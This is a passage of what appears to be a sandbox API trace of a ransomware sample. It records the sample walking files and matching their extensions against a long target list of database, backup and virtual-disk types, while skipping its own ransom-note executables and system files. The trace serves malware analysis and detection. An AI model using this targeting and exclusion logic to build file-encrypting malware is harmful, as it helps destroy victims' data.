	[0050.523] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0050.523] lstrlenW (lpString="adn") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0050.524] lstrlenW (lpString="adp") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0050.524] lstrlenW (lpString="alf") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0050.524] lstrlenW (lpString="ask") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0050.524] lstrlenW (lpString="btr") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0050.524] lstrlenW (lpString="cat") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0050.524] lstrlenW (lpString="cdb") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0050.524] lstrlenW (lpString="ckp") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0050.524] lstrlenW (lpString="cma") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0050.524] lstrlenW (lpString="cpd") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0050.524] lstrlenW (lpString="dacpac") returned 6
	[0050.524] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0050.524] lstrlenW (lpString="dad") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0050.524] lstrlenW (lpString="dadiagrams") returned 10
	[0050.524] lstrlenW (lpString="daschema") returned 8
	[0050.524] lstrlenW (lpString="db-journal") returned 10
	[0050.524] lstrlenW (lpString="db-shm") returned 6
	[0050.524] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0050.524] lstrlenW (lpString="db-wal") returned 6
	[0050.524] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0050.524] lstrlenW (lpString="dbc") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0050.524] lstrlenW (lpString="dbs") returned 3
	[0050.524] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0050.525] lstrlenW (lpString="dbt") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0050.525] lstrlenW (lpString="dbv") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0050.525] lstrlenW (lpString="dbx") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0050.525] lstrlenW (lpString="dcb") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0050.525] lstrlenW (lpString="dct") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0050.525] lstrlenW (lpString="dcx") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0050.525] lstrlenW (lpString="ddl") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0050.525] lstrlenW (lpString="dlis") returned 4
	[0050.525] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0050.525] lstrlenW (lpString="dp1") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0050.525] lstrlenW (lpString="dqy") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0050.525] lstrlenW (lpString="dsk") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0050.525] lstrlenW (lpString="dsn") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0050.525] lstrlenW (lpString="dtsx") returned 4
	[0050.525] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0050.525] lstrlenW (lpString="dxl") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0050.525] lstrlenW (lpString="eco") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0050.525] lstrlenW (lpString="ecx") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0050.525] lstrlenW (lpString="edb") returned 3
	[0050.525] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0050.526] lstrlenW (lpString="epim") returned 4
	[0050.526] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0050.526] lstrlenW (lpString="fcd") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0050.526] lstrlenW (lpString="fdb") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0050.526] lstrlenW (lpString="fic") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0050.526] lstrlenW (lpString="flexolibrary") returned 12
	[0050.526] lstrlenW (lpString="fm5") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0050.526] lstrlenW (lpString="fmp") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0050.526] lstrlenW (lpString="fmp12") returned 5
	[0050.526] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0050.526] lstrlenW (lpString="fmpsl") returned 5
	[0050.526] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0050.526] lstrlenW (lpString="fol") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0050.526] lstrlenW (lpString="fp3") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0050.526] lstrlenW (lpString="fp4") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0050.526] lstrlenW (lpString="fp5") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0050.526] lstrlenW (lpString="fp7") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0050.526] lstrlenW (lpString="fpt") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0050.526] lstrlenW (lpString="frm") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0050.526] lstrlenW (lpString="gdb") returned 3
	[0050.526] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0050.526] lstrlenW (lpString="gdb") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0050.527] lstrlenW (lpString="grdb") returned 4
	[0050.527] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0050.527] lstrlenW (lpString="gwi") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0050.527] lstrlenW (lpString="hdb") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0050.527] lstrlenW (lpString="his") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0050.527] lstrlenW (lpString="ib") returned 2
	[0050.527] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0050.527] lstrlenW (lpString="idb") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0050.527] lstrlenW (lpString="ihx") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0050.527] lstrlenW (lpString="itdb") returned 4
	[0050.527] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0050.527] lstrlenW (lpString="itw") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0050.527] lstrlenW (lpString="jet") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0050.527] lstrlenW (lpString="jtx") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0050.527] lstrlenW (lpString="kdb") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0050.527] lstrlenW (lpString="kexi") returned 4
	[0050.527] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0050.527] lstrlenW (lpString="kexic") returned 5
	[0050.527] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0050.527] lstrlenW (lpString="kexis") returned 5
	[0050.527] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0050.527] lstrlenW (lpString="lgc") returned 3
	[0050.527] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0050.527] lstrlenW (lpString="lwx") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0050.528] lstrlenW (lpString="maf") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0050.528] lstrlenW (lpString="maq") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0050.528] lstrlenW (lpString="mar") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0050.528] lstrlenW (lpString="marshal") returned 7
	[0050.528] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0050.528] lstrlenW (lpString="mas") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0050.528] lstrlenW (lpString="mav") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0050.528] lstrlenW (lpString="maw") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0050.528] lstrlenW (lpString="mdbhtml") returned 7
	[0050.528] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0050.528] lstrlenW (lpString="mdn") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0050.528] lstrlenW (lpString="mdt") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0050.528] lstrlenW (lpString="mfd") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0050.528] lstrlenW (lpString="mpd") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0050.528] lstrlenW (lpString="mrg") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0050.528] lstrlenW (lpString="mud") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0050.528] lstrlenW (lpString="mwb") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0050.528] lstrlenW (lpString="myd") returned 3
	[0050.528] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0050.528] lstrlenW (lpString="ndf") returned 3
	[0050.529] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0050.529] lstrlenW (lpString="nnt") returned 3
	[0050.529] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0050.529] lstrlenW (lpString="nrmlib") returned 6
	[0050.529] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0050.529] lstrlenW (lpString="ns2") returned 3
	[0050.529] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0050.529] lstrlenW (lpString="ns3") returned 3
	[0050.529] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0050.529] lstrlenW (lpString="ns4") returned 3
	[0050.529] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0050.529] lstrlenW (lpString="nsf") returned 3
	[0050.529] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0050.529] lstrlenW (lpString="nv") returned 2
	[0050.529] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0050.529] lstrlenW (lpString="nv2") returned 3
	[0050.529] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0050.529] lstrlenW (lpString="nwdb") returned 4
	[0050.529] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0050.530] lstrlenW (lpString="nyf") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0050.530] lstrlenW (lpString="odb") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0050.530] lstrlenW (lpString="odb") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0050.530] lstrlenW (lpString="oqy") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0050.530] lstrlenW (lpString="ora") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0050.530] lstrlenW (lpString="orx") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0050.530] lstrlenW (lpString="owc") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0050.530] lstrlenW (lpString="p96") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0050.530] lstrlenW (lpString="p97") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0050.530] lstrlenW (lpString="pan") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0050.530] lstrlenW (lpString="pdb") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0050.530] lstrlenW (lpString="pdm") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0050.530] lstrlenW (lpString="pnz") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0050.530] lstrlenW (lpString="qry") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0050.530] lstrlenW (lpString="qvd") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0050.530] lstrlenW (lpString="rbf") returned 3
	[0050.530] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0050.530] lstrlenW (lpString="rctd") returned 4
	[0050.530] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0050.531] lstrlenW (lpString="rod") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0050.531] lstrlenW (lpString="rodx") returned 4
	[0050.531] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0050.531] lstrlenW (lpString="rpd") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0050.531] lstrlenW (lpString="rsd") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0050.531] lstrlenW (lpString="sas7bdat") returned 8
	[0050.531] lstrlenW (lpString="sbf") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0050.531] lstrlenW (lpString="scx") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0050.531] lstrlenW (lpString="sdb") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0050.531] lstrlenW (lpString="sdc") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0050.531] lstrlenW (lpString="sdf") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0050.531] lstrlenW (lpString="sis") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0050.531] lstrlenW (lpString="spq") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0050.531] lstrlenW (lpString="te") returned 2
	[0050.531] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0050.531] lstrlenW (lpString="teacher") returned 7
	[0050.531] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0050.531] lstrlenW (lpString="tmd") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0050.531] lstrlenW (lpString="tps") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0050.531] lstrlenW (lpString="trc") returned 3
	[0050.531] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0050.531] lstrlenW (lpString="trc") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0050.532] lstrlenW (lpString="trm") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0050.532] lstrlenW (lpString="udb") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0050.532] lstrlenW (lpString="udl") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0050.532] lstrlenW (lpString="usr") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0050.532] lstrlenW (lpString="v12") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0050.532] lstrlenW (lpString="vis") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0050.532] lstrlenW (lpString="vpd") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0050.532] lstrlenW (lpString="vvv") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0050.532] lstrlenW (lpString="wdb") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0050.532] lstrlenW (lpString="wmdb") returned 4
	[0050.532] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0050.532] lstrlenW (lpString="wrk") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0050.532] lstrlenW (lpString="xdb") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0050.532] lstrlenW (lpString="xld") returned 3
	[0050.532] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0050.532] lstrlenW (lpString="xmlff") returned 5
	[0050.532] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0050.532] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f3b13b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f3b13b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.532] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.532] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0050.532] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.532] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0050.533] lstrcpyW (in: lpString1=0x2d3e630, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0050.533] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0050.533] lstrlenW (lpString="Apollon865") returned 10
	[0050.533] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0050.533] lstrlenW (lpString=".dll") returned 4
	[0050.533] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0050.533] lstrlenW (lpString=".lnk") returned 4
	[0050.533] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0050.533] lstrlenW (lpString=".ini") returned 4
	[0050.533] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0050.533] lstrlenW (lpString=".sys") returned 4
	[0050.533] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0050.533] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0050.533] lstrlenW (lpString="bak") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0050.533] lstrlenW (lpString="ba_") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0050.533] lstrlenW (lpString="dbb") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0050.533] lstrlenW (lpString="vmdk") returned 4
	[0050.533] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0050.533] lstrlenW (lpString="rar") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0050.533] lstrlenW (lpString="zip") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0050.533] lstrlenW (lpString="tgz") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0050.533] lstrlenW (lpString="vbox") returned 4
	[0050.533] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0050.533] lstrlenW (lpString="vdi") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0050.533] lstrlenW (lpString="vhd") returned 3
	[0050.533] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0050.534] lstrlenW (lpString="vhdx") returned 4
	[0050.534] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0050.534] lstrlenW (lpString="avhd") returned 4
	[0050.534] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0050.534] lstrlenW (lpString="db") returned 2
	[0050.534] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0050.534] lstrlenW (lpString="db2") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0050.534] lstrlenW (lpString="db3") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0050.534] lstrlenW (lpString="dbf") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0050.534] lstrlenW (lpString="mdf") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0050.534] lstrlenW (lpString="mdb") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0050.534] lstrlenW (lpString="sql") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0050.534] lstrlenW (lpString="sqlite") returned 6
	[0050.534] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0050.534] lstrlenW (lpString="sqlite3") returned 7
	[0050.534] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0050.534] lstrlenW (lpString="sqlitedb") returned 8
	[0050.534] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0050.534] lstrlenW (lpString="xml") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0050.534] lstrlenW (lpString="$er") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0050.534] lstrlenW (lpString="4dd") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0050.534] lstrlenW (lpString="4dl") returned 3
	[0050.534] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0050.534] lstrlenW (lpString="^^^") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0050.535] lstrlenW (lpString="abs") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0050.535] lstrlenW (lpString="abx") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0050.535] lstrlenW (lpString="accdb") returned 5
	[0050.535] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0050.535] lstrlenW (lpString="accdc") returned 5
	[0050.535] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0050.535] lstrlenW (lpString="accde") returned 5
	[0050.535] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0050.535] lstrlenW (lpString="accdr") returned 5
	[0050.535] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0050.535] lstrlenW (lpString="accdt") returned 5
	[0050.535] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0050.535] lstrlenW (lpString="accdw") returned 5
	[0050.535] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0050.535] lstrlenW (lpString="accft") returned 5
	[0050.535] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0050.535] lstrlenW (lpString="adb") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0050.535] lstrlenW (lpString="adb") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0050.535] lstrlenW (lpString="ade") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0050.535] lstrlenW (lpString="adf") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0050.535] lstrlenW (lpString="adn") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0050.535] lstrlenW (lpString="adp") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0050.535] lstrlenW (lpString="alf") returned 3
	[0050.535] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0050.535] lstrlenW (lpString="ask") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0050.536] lstrlenW (lpString="btr") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0050.536] lstrlenW (lpString="cat") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0050.536] lstrlenW (lpString="cdb") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0050.536] lstrlenW (lpString="ckp") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0050.536] lstrlenW (lpString="cma") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0050.536] lstrlenW (lpString="cpd") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0050.536] lstrlenW (lpString="dacpac") returned 6
	[0050.536] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0050.536] lstrlenW (lpString="dad") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0050.536] lstrlenW (lpString="dadiagrams") returned 10
	[0050.536] lstrcmpiW (lpString1="al_x86.msi", lpString2="dadiagrams") returned -1
	[0050.536] lstrlenW (lpString="daschema") returned 8
	[0050.536] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0050.536] lstrlenW (lpString="db-journal") returned 10
	[0050.536] lstrcmpiW (lpString1="al_x86.msi", lpString2="db-journal") returned -1
	[0050.536] lstrlenW (lpString="db-shm") returned 6
	[0050.536] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0050.536] lstrlenW (lpString="db-wal") returned 6
	[0050.536] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0050.536] lstrlenW (lpString="dbc") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0050.536] lstrlenW (lpString="dbs") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0050.536] lstrlenW (lpString="dbt") returned 3
	[0050.536] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0050.536] lstrlenW (lpString="dbv") returned 3
	[0050.537] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0050.537] lstrlenW (lpString="dbx") returned 3
	[0050.537] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0050.537] lstrlenW (lpString="dcb") returned 3
	[0050.537] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
